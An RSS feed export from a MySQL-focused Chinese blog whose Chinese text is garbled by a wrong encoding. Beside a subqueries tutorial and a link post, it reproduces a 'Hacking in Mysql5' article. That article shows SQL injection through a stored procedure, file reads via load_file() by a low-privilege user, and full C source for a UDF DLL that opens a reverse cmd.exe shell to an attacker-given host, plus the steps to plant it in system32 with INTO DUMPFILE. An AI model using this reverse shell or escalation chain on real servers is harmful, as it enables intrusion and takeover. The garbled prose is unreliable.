锘??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲欧洲国产精品久久,亚洲成AV人在线观看网址,亚洲精品第五页中文字幕http://www.tkk7.com/chenpengyi/category/2084.htmlMySQL璧勬枡錛孞ava鎶鏈紝綆$悊鎬濇兂錛屽崥寮堣錛孉jax錛孹P鏋侀檺緙栫▼錛岀墿嫻佺煡璇?/description>zh-cnTue, 27 Feb 2007 12:25:36 GMTTue, 27 Feb 2007 12:25:36 GMT60MySQL 鏂扮壒鎬т箣浜嬩歡涓枃鏁欑▼http://www.tkk7.com/chenpengyi/articles/77933.html闄堟湅濂?/dc:creator>闄堟湅濂?/author>Sun, 29 Oct 2006 14:07:00 GMThttp://www.tkk7.com/chenpengyi/articles/77933.htmlhttp://www.tkk7.com/chenpengyi/comments/77933.htmlhttp://www.tkk7.com/chenpengyi/articles/77933.html#Feedback1http://www.tkk7.com/chenpengyi/comments/commentRss/77933.htmlhttp://www.tkk7.com/chenpengyi/services/trackbacks/77933.htmlhttp://www.tkk7.com/Files/chenpengyi/MySQL-Events-CN.rar
濡傛灉闇瑕佽嫳鏂囩殑璇峰埌MySQL鐭ヨ瘑搴撲腑涓嬭澆銆?img src ="http://www.tkk7.com/chenpengyi/aggbug/77933.html" width = "1" height = "1" />

]]>
濡備綍榛慚ySQL5鏁版嵁搴擄紵錛堟潵鑷細http://superhei.blogbus.com錛?/title><link>http://www.tkk7.com/chenpengyi/articles/31557.html</link><dc:creator>闄堟湅濂?/dc:creator><author>闄堟湅濂?/author><pubDate>Sun, 19 Feb 2006 13:53:00 GMT</pubDate><guid>http://www.tkk7.com/chenpengyi/articles/31557.html</guid><wfw:comment>http://www.tkk7.com/chenpengyi/comments/31557.html</wfw:comment><comments>http://www.tkk7.com/chenpengyi/articles/31557.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/chenpengyi/comments/commentRss/31557.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/chenpengyi/services/trackbacks/31557.html</trackback:ping><description><![CDATA[<FONT style="BACKGROUND-COLOR: #ffffff" size=2>Hacking in Mysql5<BR><BR>Author錛歋uperHei_[At]_ph4nt0m.org<BR>Blog錛?/FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://superhei.blogbus.com/</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>Team錛?/FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.ph4nt0m.org</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>Data: 2006-01-29<BR><BR>     Mysql5澧炲姞寰堝鏂扮殑鍔熻兘錛屽紑濮嬫敮鎸侊細瀛樺偍榪囩▼銆佽Е鍙戝櫒銆佽鍥俱佷俊鎭灦鏋勮鍥劇瓑鏂扮壒銆傚彲浠ヨ榪欎簺閮芥槸鍙戝睍鐨勫繀鐒訛紝浣嗘槸鏂扮殑涓滆タ鐨勫嚭鏉ワ紝蹇呭畾涔熶細甯︽潵鏂扮殑瀹夊叏闂錛屽Mysql4寮濮嬫敮鎸乽nion鏌ヨ銆佸瓙鏌ヨ銆傝繖鐩存帴瀵艱嚧mysql娉ㄥ皠鏇村鏄撱佸箍娉涖俶ysql5鐨勬柊鍔熻兘浼氱粰瀹夊叏甯︽潵浠涔堟柊鐨勪笢瑗垮憿錛熶笅闈㈡垜緇欏ぇ瀹朵粙緇嶄笅mysql5鍦ㄥ畨鍏ㄦ柟闈㈢殑鐗圭偣錛?BR><BR><BR>涓銆乸assword authentication<BR><BR>mysql5鐨刾assword()鍜宮ysql4.1涓鏍鳳紝閲囩敤鐨勫熀浜嶴HA1鐨?1浣峢ash錛?BR><BR>mysql> select password('mypass');<BR>+-------------------------------------------+<BR>| password('mypass')                        |<BR>+-------------------------------------------+<BR>| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |<BR>+-------------------------------------------+<BR>1 row in set (0.00 sec)<BR><BR>鍦╩ysql4.1浠ュ墠鐨刾assword hashes鏄熀浜?6浣峬d5錛?BR><BR>mysql> SELECT PASSWORD('mypass');<BR>+--------------------+<BR>| PASSWORD('mypass') |<BR>+--------------------+<BR>| 6f8c114b58f2ce9e   |<BR>+--------------------+<BR><BR>褰撲嬌鐢ㄤ綆鐗堟湰鐨凜lient榪炴帴鏃訛紝鍥炲嚭鐜伴敊璇細Client does not support authentication protocol錛屼負浜嗚В鍐寵繖涓棶棰橈紝mysql5鎻愪緵浜嗕竴涓猳ld_password(),灝辯浉褰撲簬mysql4.1浠ュ墠鐨勭殑password():<BR><BR>mysql> select old_password('mypass');<BR>+------------------------+<BR>| old_password('mypass') |<BR>+------------------------+<BR>| 6f8c114b58f2ce9e       |<BR>+------------------------+<BR>1 row in set (0.09 sec)<BR><BR>浜屻佹暟鎹瓧鍏?information_schema)<BR><BR>鍜宮ssql銆乷racle銆乨b2絳夋暟鎹簱涓鏍鳳紝mysql5鎻愪緵浜嗕竴涓郴緇熸暟鎹簱錛歩nformation_schema<BR>mysql> use information_schema;<BR>Database changed<BR>mysql> show tables;<BR>+---------------------------------------+<BR>| Tables_in_information_schema          |<BR>+---------------------------------------+<BR>| CHARACTER_SETS                        |<BR>| COLLATIONS                            |<BR>| COLLATION_CHARACTER_SET_APPLICABILITY |<BR>| COLUMNS                               |<BR>| COLUMN_PRIVILEGES                     |<BR>| KEY_COLUMN_USAGE                      |<BR>| ROUTINES                              |<BR>| SCHEMATA                              |<BR>| SCHEMA_PRIVILEGES                     |<BR>| STATISTICS                            |<BR>| TABLES                                |<BR>| TABLE_CONSTRAINTS                     |<BR>| TABLE_PRIVILEGES                      |<BR>| TRIGGERS                              |<BR>| VIEWS                                 |<BR>| USER_PRIVILEGES                       |<BR>+---------------------------------------+<BR>16 rows in set (0.17 sec)<BR><BR>鍦ㄨ繖涓暟鎹簱閲屾垜浠彲浠ュ緱鍒板緢澶氫俊鎭紝鍖呮嫭褰撳墠鐢ㄦ埛鏉冮檺錛?BR>mysql> select * from information_schema.USER_PRIVILEGES;<BR>+-----------+---------------+----------------+--------------+<BR>| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |<BR>+-----------+---------------+----------------+--------------+<BR>| 'KK1'@'%' | NULL          | USAGE          | NO           |<BR>+-----------+---------------+----------------+--------------+<BR>1 row in set (0.02 sec)<BR><BR>褰撳墠鐢ㄦ埛鏉冮檺涓嬪彲浠ヨ闂殑鏁版嵁搴擄紝琛紝鍒楀悕錛堣繖涓湪sql娉ㄥ皠涓紝瀵艱嚧鐩存帴鏆村尯鏁版嵁搴擄紝琛ㄥ垪鍚嶏紝鍐嶄篃涓嶈鈥樻毚鍔涒欏挴錛夛細<BR><BR>mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS<BR>TICS;<BR>+--------------+------------+-------------+<BR>| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |<BR>+--------------+------------+-------------+<BR>| in           | article    | articleid   |<BR>| in           | user       | userid      |<BR>+--------------+------------+-------------+<BR>2 rows in set (0.02 sec)<BR><BR>榪樺彲浠ュ緱鍒板綋鍓嶇敤鎴鋒潈闄愪笅鐨刅IEWS錛孯OUTINES絳夛紝鍏充簬ROUTINES鎴戜滑鍦ㄤ笅闈㈢殑鈥樺瓨鍌ㄨ繃紼嬧欓噷璇︾粏浠嬬粛銆?BR><BR>[ps:娉ㄦ剰鏄樺綋鍓嶇敤鎴鋒潈闄愨欏鏋滄槸root錛岄偅涔堝お鍙互寰楀埌鎵鏈夌殑鏁版嵁搴撳悕縐頒互鍙婅〃鍒楀悕絳夌瓑]<BR><BR><BR>涓夈佸瓨鍌ㄨ繃紼?Stored Procedures)<BR><BR>'瀛樺偍榪囩▼'鐨勪嬌鐢ㄦ槸mysql5鐨勪竴涓棯鍏夌偣錛屽湪甯︽潵鏂逛究鐨勫悓鏃訛紝瀹冧篃甯︽潵浜嗘柊鐨勫畨鍏ㄩ殣鎮o細濡俿ql娉ㄥ皠錛岀敤鎴鋒潈闄愭彁鍗囩瓑絳夈?BR><BR>D:\mysql5\bin>mysql -uroot -p<BR>Enter password: ******<BR>Welcome to the MySQL monitor.  Commands end with ; or \g.<BR>Your MySQL connection id is 4 to server version: 5.0.18<BR><BR>Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<BR><BR>mysql> use in<BR>Database changed<BR>mysql> delimiter //<BR>mysql> CREATE PROCEDURE test(id INT)<BR>    -> BEGIN<BR>    ->   SELECT * FROM in.USER WHERE USERID=ID;<BR>    -> END//<BR>Query OK, 0 rows affected (0.08 sec)<BR><BR>mysql> delimiter ;<BR><BR>mysql> call test(1);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|      1 | angel    | mypass   |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>涓婇潰鎴戜滑浣跨敤root鍦ㄦ暟鎹簱in閲屽垱寤轟簡涓涓悕涓簍est鐨勫瓨鍌ㄨ繃紼嬨?BR><BR>a銆丼QL Injection<BR><BR>mysql> call test(1 and 1=1);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|      1 | angel    | mypass   |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.01 sec)<BR><BR>mysql> call test(1 and 1=2);<BR>Empty set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>b銆佽法鏉冮檺<BR>瀛樺偍榪囩▼鏄戶鎵垮垱寤鴻呯殑鏉冮檺鐨勶紝濡傛灉瀛樺偍榪囩▼鏄痳oot鍒涘緩鐨勶紝褰撳叾浠栨櫘閫氱敤鎴蜂嬌鐢ㄨ繖涓瓨鍌ㄨ繃紼嬫椂錛屽鑷磋法鏉冮檺鏀誨嚮錛?BR><BR>mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE<BR>    -> ON `IN`.*<BR>    -> TO 'KK1'@'%'<BR>    -> IDENTIFIED BY 'OBSCURE';<BR>Query OK, 0 rows affected (0.03 sec)<BR><BR>涓婇潰寤虹珛涓涓狵K1鐨勭敤鎴峰彧鍦ㄦ暟鎹簱in涓湁SELECT, INSERT, UPDATE, DELETE, EXECUTE鏉冮檺錛屼嬌鐢↘K1鐧婚檰錛?BR>D:\mysql5\bin>mysql -uKK1 -p<BR>Enter password: ******<BR>Welcome to the MySQL monitor.  Commands end with ; or \g.<BR>Your MySQL connection id is 5 to server version: 5.0.18<BR><BR>Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<BR><BR>mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform<BR>ation_schema.ROUTINES;<BR>+----------------+--------------+----------------+--------------------+<BR>| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |<BR>+----------------+--------------+----------------+--------------------+<BR>| in             | test         | root@localhost |                    |<BR>| in             | tt           | root@localhost |                    |<BR>+----------------+--------------+----------------+--------------------+<BR>2 rows in set (0.01 sec)<BR><BR>鎴戜滑鍙互寰楀埌KK1鍙互浣跨敤瀛樺偍榪囩▼in.test 鍏跺垱寤鴻呬負root@localhost銆備笉榪嘖K1娌℃湁鏉冮檺寰楀埌ROUTINE_DEFINITION 灝辨槸in.test鐨勪唬鐮併備笅闈㈢湅鐪嬭法鏉冮檺錛?BR><BR>mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);<BR>+--------+----------+----------+<BR>| userid | username | password |<BR>+--------+----------+----------+<BR>|      1 | angel    | mypass   |<BR>+--------+----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.01 sec)<BR><BR>mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);<BR>Empty set (0.00 sec)<BR><BR>Query OK, 0 rows affected (0.00 sec)<BR><BR>娌℃湁file鏉冮檺鐨凨K1鍙互浣跨敤in.test浣跨敤load_file()錛屾垜浠繕鍙互鐩存帴瀵筸ysql.user榪涜select錛屽鏋滃瓨鍌ㄨ繃紼嬪彲浠pdata錛宨nsert娉ㄥ皠錛岄偅涔堟垜浠彲浠ユ櫘閫氱敤鎴風洿鎺ラ氳繃娉ㄥ皠鏉ヤ慨鏀筸ysql.user閲岀殑鏁版嵁銆?BR><BR>鍥涖乁ser-Defined Function <BR><BR>[ps錛氫笅闈㈤兘鏄熀浜巜in緋葷粺]<BR><BR>mysql5鐨剈df鍦ㄦ牸寮忓拰瀹夊叏鏂歸潰鍋氫竴浜涙柊鐨勬敼鍙橈細<BR>1銆佹牸寮忚姹傛洿鍔犱弗鏍糩xxx_init()鍒濆鍖栧嚱鏁癩<BR>瀵逛簬娌℃湁xxx_init()鍒濆鍖栧嚱鏁?鍦ㄤ互鍓嶇殑鐗堟湰鏄彲浠ヤ嬌鐢ㄧ殑錛屼絾鏄湪mysql5涓嬩細鍑虹幇Can't find function 'xxx_init' in library鐨勯敊璇紝濡傦細<BR><BR>mysql> create function ExitProcess returns integer soname 'kernel32';<BR>ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library<BR><BR>涓嬮潰緇欏嚭鐨勪唬鐮佹槸濂藉弸浜戣垝鍐欑殑錛岀鍚坢ysql5鐨剈df鏍煎紡瑕佹眰鍙互鍦╩ysql5涓嬩嬌鐢細<BR><BR>/******************************************************************************* <BR>* File:   MySQL_Shell.cpp <BR>* Author: 浜戣垝(wustyunshu at hotmail dot com) <BR>* Date:    2005-12-12 <BR>*******************************************************************************/ <BR>#include <stdio.h> <BR>#include <winsock2.h> <BR>#include <windows.h> <BR><BR>#define MAKE_DLL                /* Build dll here */ <BR><BR>#include "MySQL_Shell.h" <BR><BR>#pragma comment( lib, "ws2_32" ) <BR><BR>#define BUFFER_SIZE    1024 <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//鍑芥暟鍘熷瀷 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>BOOL StartWith( char *, char * ); <BR>void LogMsg( char * ); <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//MySQL妯″潡鍒濆鍖栧嚱鏁?<BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message ) <BR>{ <BR>    if ( args->arg_count != 2 ) <BR>    { <BR>        strcpy( message, "Shell() requires two arguments" ); <BR>        return 1; <BR>    } <BR><BR>    if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) ) <BR>    { <BR>        strcpy( message, "Shell() requires two string arguent" ); <BR>        return 1; <BR>    } <BR><BR>    return 0; <BR>} <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//MySQL妯″潡涓誨姛鑳藉嚱鏁幫紝鍙嶅悜榪炴帴鎻愪緵shell <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error ) <BR>{ <BR>    SOCKET            sock; <BR>    SOCKADDR_IN        sin; <BR>    int                ret; <BR>     <BR>    // Create socket <BR>    sock = socket( AF_INET, SOCK_STREAM, 0 ); <BR>    if ( sock == INVALID_SOCKET ) <BR>    { <BR>        strcpy( error, "Create socket error" ); <BR><BR>        return -1; <BR>    } <BR><BR>    sin.sin_family = AF_INET; <BR>    sin.sin_port = htons( atoi(args->args[1]) ); <BR>    sin.sin_addr.s_addr = inet_addr( args->args[0] ); <BR>     <BR>    //connect to remote server <BR>    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) ); <BR>    if( ret == SOCKET_ERROR ) <BR>    { <BR>        strcpy( error, "Connect error" ); <BR><BR>        return -1; <BR>    } <BR><BR>    SECURITY_ATTRIBUTES    sa; <BR>     <BR>    sa.nLength = sizeof( sa ); <BR>    sa.lpSecurityDescriptor = 0; <BR>    sa.bInheritHandle = TRUE; <BR>     <BR>    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; <BR><BR>    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 ); <BR>    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 ); <BR>         <BR>    STARTUPINFO    si; <BR>    ZeroMemory( &si, sizeof(si) ); <BR><BR>    GetStartupInfo( &si ); <BR>     <BR>    si.cb = sizeof( si ); <BR>    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <BR>    si.wShowWindow = SW_HIDE; <BR>    si.hStdInput = hReadPipe2; <BR>    si.hStdOutput = si.hStdError = hWritePipe1; <BR>     <BR>    PROCESS_INFORMATION    processInfo; <BR>     <BR>    char    cmdLine[] = "cmd.exe"; <BR><BR>    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) ); <BR>    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo); <BR>     <BR>    char            buff[BUFFER_SIZE] = { 0 };             <BR>    unsigned long    bytesRead = 0; <BR>    int             i = 0; <BR>     <BR>    while( TRUE ) <BR>    { <BR>        memset( buff, 0, BUFFER_SIZE ); <BR>         <BR>          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 ); <BR>           <BR>          for(i = 0; i < 5 && bytesRead == 0; i++) <BR>        { <BR>            Sleep(100); <BR>            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL ); <BR>        } <BR>         <BR>          if( bytesRead ) <BR>        { <BR>               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); <BR>               if( !ret ) break; <BR>   <BR>            ret = send( sock, buff, bytesRead, 0 ); <BR>               if( ret <= 0 ) break; <BR>          } <BR>        else <BR>        { <BR>               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 ); <BR>                <BR>               if( bytesRead <= 0 ) break; <BR>             <BR>            if( StartWith( buff , "exit" ) == TRUE ) break; <BR><BR>               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 ); <BR>               if( !ret ) break; <BR>           } <BR>    } <BR>     <BR>    TerminateProcess( processInfo.hProcess, 0 ); <BR><BR>    CloseHandle( hReadPipe1 ); <BR>    CloseHandle( hReadPipe2 ); <BR>    CloseHandle( hWritePipe1 ); <BR>    CloseHandle( hWritePipe2 ); <BR>     <BR>    closesocket( sock ); <BR><BR>    return 0; <BR>}     <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//鍒ゆ柇瀛楃涓叉槸鍚︿互鍙︿竴涓瓧絎︿覆寮澶?<BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>BOOL StartWith( char *buf1, char *buf2 ) <BR>{ <BR>    int len = strlen(buf2); <BR><BR>    if( memcmp( buf1,buf2,len ) == 0 ) <BR>    { <BR>        return TRUE; <BR>    } <BR>    return FALSE; <BR>} <BR><BR>/////////////////////////////////////////////////////////////////////////////// <BR>//璁板綍鏃ュ織淇℃伅錛岃皟璇曠敤 <BR>/////////////////////////////////////////////////////////////////////////////// <BR><BR>void LogMsg( char *msg ) <BR>{ <BR>    FILE    *fp; <BR><BR>    fp = fopen( "C:\mysql.txt", "a+" ); <BR><BR>    fputs( msg, fp ); <BR><BR>    fclose( fp ); <BR>} <BR><BR><BR>/******************************************************************************* <BR>* File:   MySQL_Shell.h <BR>* Author: 浜戣垝(wustyunshu at hotmail dot com) <BR>* Date:    2005-12-12 <BR>*******************************************************************************/ <BR><BR>#ifdef MAKE_DLL <BR>    #define LIB extern "C" __declspec(dllexport) <BR>#else <BR>    #define LIB extern "C" __declspec(dllimport) <BR>#endif <BR><BR>#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */ <BR><BR>typedef char my_bool; <BR><BR>enum Item_result <BR>{ <BR>    STRING_RESULT,REAL_RESULT,INT_RESULT <BR>}; <BR><BR>typedef struct st_udf_args <BR>{ <BR>    unsigned int        arg_count;           /* Number of arguments */ <BR>    enum Item_result    *arg_type;           /* Pointer to item_results */ <BR>    char                **args;                 /* Pointer to argument */ <BR>    unsigned long        *lengths;            /* Length of string arguments */ <BR>    char                *maybe_null;         /* Set to 1 for all maybe_null args */ <BR>} UDF_ARGS; <BR><BR><BR>typedef struct st_udf_init <BR>{ <BR>    my_bool                maybe_null;          /* 1 if function can return NULL */ <BR>    unsigned int        decimals;            /* for real functions */ <BR>    unsigned int        max_length;          /* For string functions */ <BR>    char                *ptr;                /* free pointer for function data */ <BR>    char                const_item;          /* 0 if result is independent of arguments */ <BR>} UDF_INIT; <BR><BR>LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * ); <BR><BR>LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * ); <BR><BR><BR>2銆乵ysql5闄愬埗浜唘df瀵瑰簲鐨勬枃浠禿ll鏂囦歡鍙彲浠ユ斁鍦╯ystem32鐩綍涓嬨?BR>瀵逛簬涓鑸綆鏉冮檺鐨勭郴緇熺敤鎴鋒槸娌℃湁瀵箂ystem32鐩綍鍐欐潈闄愮殑錛屽湪榪欐牱鐨勬儏鍐典笅鎴戜滑鍙互浣跨敤into dumpfile鎶奷ll鏂囦歡鏀懼埌system32鏉ョ獊鐮達紝鍏蜂綋濡備笅錛?BR>mysql> use mysql;<BR>Database changed<BR>mysql> create table heige(line blob);<BR>Query OK, 0 rows affected (0.50 sec)<BR><BR>mysql> insert into heige values(load_file('c:/udf.dll'));<BR>Query OK, 1 row affected (0.08 sec)<BR><BR>mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';<BR>Query OK, 1 row affected (0.18 sec)<BR><BR>mysql> create function shell returns integer soname 'heige.dll';<BR>Query OK, 0 rows affected (0.07 sec)<BR><BR>mysql> select * from mysql.func;<BR>+-------+-----+-----------+----------+<BR>| name  | ret | dl        | type     |<BR>+-------+-----+-----------+----------+<BR>| shell |   2 | heige.dll | function |<BR>+-------+-----+-----------+----------+<BR>1 row in set (0.00 sec)<BR><BR>mysql> select shell('127.0.0.1','1234');<BR>+---------------------------+<BR>| shell('127.0.0.1','1234') |<BR>+---------------------------+<BR>|                      NULL |<BR>+---------------------------+<BR>1 row in set (0.97 sec)<BR><BR>浜斻佸弬鑰?BR>銆奙ySQL 5.0 Reference Manual銆?</FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://dev.mysql.com/doc/refman/5.0/en/</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>銆奌ackproofing MySQL銆?nbsp;        </FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.ngssoftware.com/papers/HackproofingMySQL.pdf</FONT></A><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>銆婄粰mysql鍔犱釜鑷畾涔夊嚱鏁幫紙windows騫沖彴錛夈?/FONT><A target=_blank><FONT style="BACKGROUND-COLOR: #ffffff" color=#000000 size=2>http://www.icylife.net/yunshu/show.php?id=244</FONT></A><BR><BR><FONT style="BACKGROUND-COLOR: #ffffff" size=2>鍏佹劅璋?BR>鎰熻阿浜戣垝銆乀omyChen銆丮ix ...鎵鏈塸st鐨勫厔寮熶滑銆?BR><BR>璋㈣阿闃呰! </FONT><img src ="http://www.tkk7.com/chenpengyi/aggbug/31557.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/chenpengyi/" target="_blank">闄堟湅濂?/a> 2006-02-19 21:53 <a href="http://www.tkk7.com/chenpengyi/articles/31557.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鍏充簬MySQL宓屽鏌ヨ鐨勯棶棰橈紙鍘熷垱浜嶣logJava錛峜henpengyi錛?/title><link>http://www.tkk7.com/chenpengyi/articles/14007.html</link><dc:creator>闄堟湅濂?/dc:creator><author>闄堟湅濂?/author><pubDate>Sun, 25 Sep 2005 11:36:00 GMT</pubDate><guid>http://www.tkk7.com/chenpengyi/articles/14007.html</guid><wfw:comment>http://www.tkk7.com/chenpengyi/comments/14007.html</wfw:comment><comments>http://www.tkk7.com/chenpengyi/articles/14007.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.tkk7.com/chenpengyi/comments/commentRss/14007.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/chenpengyi/services/trackbacks/14007.html</trackback:ping><description><![CDATA[<P><FONT size=2>鏈榪戝湪MySQL涓婂仛浜嗙偣宸ヤ綔錛屽彂鐜板緢澶氫漢閮藉湪璇㈤棶MySQL宓屽鏌ヨ鐨勯棶棰橈紝璁稿浜洪兘瑙夊緱MySQL涓嶆敮鎸佸祵濂楁煡璇紝鍏跺疄MySQl浠?.11鐗堝悗宸茬粡瀹屽叏鏀寔宓屽鏌ヨ浜嗭紝閭d箞涓嬮潰鎴戜婦浜涚畝鍗曠殑宓屽鏌ヨ鐨勪緥瀛愬惂錛堟簮紼嬪簭鏉ヨ嚜MySQL User Manual錛夛細<BR><BR>1. SELECT璇彞鐨勫瓙鏌ヨ:<BR>璇硶:     SELECT ... FROM (subquery) AS name ...<BR><BR>鍏堝垱寤轟竴涓〃:<BR>CREATE TABLE t1 (s1 INT, s2 CHAR(5), s3 FLOAT);<BR>INSERT INTO t1 VALUES (1,'1',1.0);<BR>INSERT INTO t1 VALUES (2,'2',2.0);<BR><BR>鎴戜滑灝卞彲浠ヨ繘琛屼互涓嬬殑宓屽鏌ヨ浜?<BR>SELECT sb1,sb2,sb3<BR>       FROM (SELECT s1 AS sb1, s2 AS sb2, s3*2 AS sb3 FROM t1) AS sb<BR>       WHERE sb1 > 1;<BR><BR>緇撴灉鏄細 </FONT><FONT size=2><FONT color=#000000>2<CODE>, '2', 4.0</CODE>. <BR></FONT><BR>鎴戜滑鐭ラ亾涓嬮潰璇彞鏄笉浼氬緱鍒版紜粨鏋滅殑錛屽洜涓哄緇忚繃Group by鎺掑簭鐨勯泦鍚堣繘琛屾眰鍧囧兼槸涓嶈兘寰楀埌姝g‘絳旀鐨勶細<BR>SELECT AVG(SUM(column1)) FROM t1 GROUP BY column1<BR><BR>鎵浠ユ垜浠彲浠ラ氳繃涓嬮潰鐨勫祵濂楁煡璇㈠疄鐜板悓鏍風殑鏁堟灉錛?BR>SELECT AVG(sum_column1)<BR>       FROM (SELECT SUM(column1) AS sum_column1<BR>             FROM t1 GROUP BY column1) AS t1;<BR><BR>2.琛岀殑瀛愭煡璇紙Row Subquery錛夛細<BR>鐪嬩笅闈㈢殑渚嬪瓙錛?BR>SELECT * FROM t1 WHERE ROW(1,2) = (SELECT column1, column2 FROM t2);<BR>榪欎釜鏌ヨ鏄繑鍥瀋olumn1絳変簬column2鐨勭粨鏋滆銆俁ow鍑芥暟涓殑1鍜?鐩稿綋浜庢瀯閫犲弬鏁般傛兂蹇匓logjava涓婄殑鍚屽織瀵硅繖浜涘簲璇ユ瘮杈冩竻妤氾紝涔熶笉鍘昏緇嗕粙緇嶄簡銆?BR></FONT><BR><FONT size=2>3.浣跨敤Exist鍜孨ot Exist鍙傛暟<BR>榪欓噷鐨凟xist鍜孨ot Exist鐢ㄩ斿強鐢ㄦ硶鍜屽湪鍏朵粬娌℃湁浠涔堝ぇ鐨勫尯鍒?鎴戝氨綆鍗曚婦鍑犱釜鑼冧緥濂戒簡:<BR><BR>鑼冧緥涓:      SELECT DISTINCT store_type FROM Stores<BR>                    WHERE EXISTS (SELECT * FROM Cities_Stores<BR>                                  WHERE Cities_Stores.store_type = Stores.store_type);<BR>鑼冧緥浜?   SELECT DISTINCT store_type FROM Stores<BR>                       WHERE NOT EXISTS (SELECT * FROM Cities_Stores<BR>                                   WHERE Cities_Stores.store_type = Stores.store_type);<BR>鑼冧緥涓?  榪欎釜渚嬪瓙涓祵濂椾嬌鐢ㄤ簡Not Exist璇硶錛岀◢寰敞鎰忎竴涓嬶細<BR>               SELECT DISTINCT store_type FROM Stores S1<BR>                    WHERE NOT EXISTS (<BR>                               SELECT * FROM Cities WHERE NOT EXISTS (<BR>                                       SELECT * FROM Cities_Stores<BR>                                                 WHERE Cities_Stores.city = Cities.city<BR>                                                         AND Cities_Stores.store_type = Stores.store_type));<BR><BR>4.鏉′歡鍏寵仈鍏崇郴鏌ヨ錛?BR>瑙i噴璧鋒潵楹葷儲錛岀洿鎺ョ湅渚嬪瓙鍚э細<BR>SELECT column1 FROM t1 AS x<BR>     WHERE x.column1 = (SELECT column1 FROM t2 AS x<BR>          WHERE x.column1 = (SELECT column1 FROM t3<BR>               WHERE x.column2 = t3.column1));<BR>璺熷叾浠栨暟鎹簱鍋氭硶鏄竴鏍風殑銆?BR><BR>5.鍏朵粬浣跨敤鏂規硶鍜屾敞鎰忥細<BR>闄や簡涓婇潰榪欎簺榪樻湁寰堝寰堝錛屼笉榪囧氨涓嶅幓緇嗚浜嗭紝鍥犱負榪欎簺璺熷埆鐨勬暟鎹簱宸笉澶氾紝鍙槸涓轟簡緇欏ぇ瀹朵竴涓弬鑰冿紝鎻愭彁灝卞浜嗐?BR><BR>         SELECT (SELECT s1 FROM t2) FROM t1;<BR>         SELECT (SELECT s2 FROM t1);<BR><BR>鏀寔瀛愭煡璇㈢殑璇硶鏈夛細SELECT錛孖NSERT錛孶PDATE錛孌ELETE錛孲ET鍜孌O銆?BR><BR>瀛愭煡璇㈠彲浠ヤ嬌鐢ㄤ換浣曟櫘閫氭煡璇腑浣跨敤鐨勫叧閿瘝錛氬DINSTINCT錛孏ROUP BY錛孡IMIT錛孫RDER BY錛孶NION錛孉LL錛孶NION ALL絳夈傚彲浠ヤ嬌鐢?lt;,>, <=, >=, =, 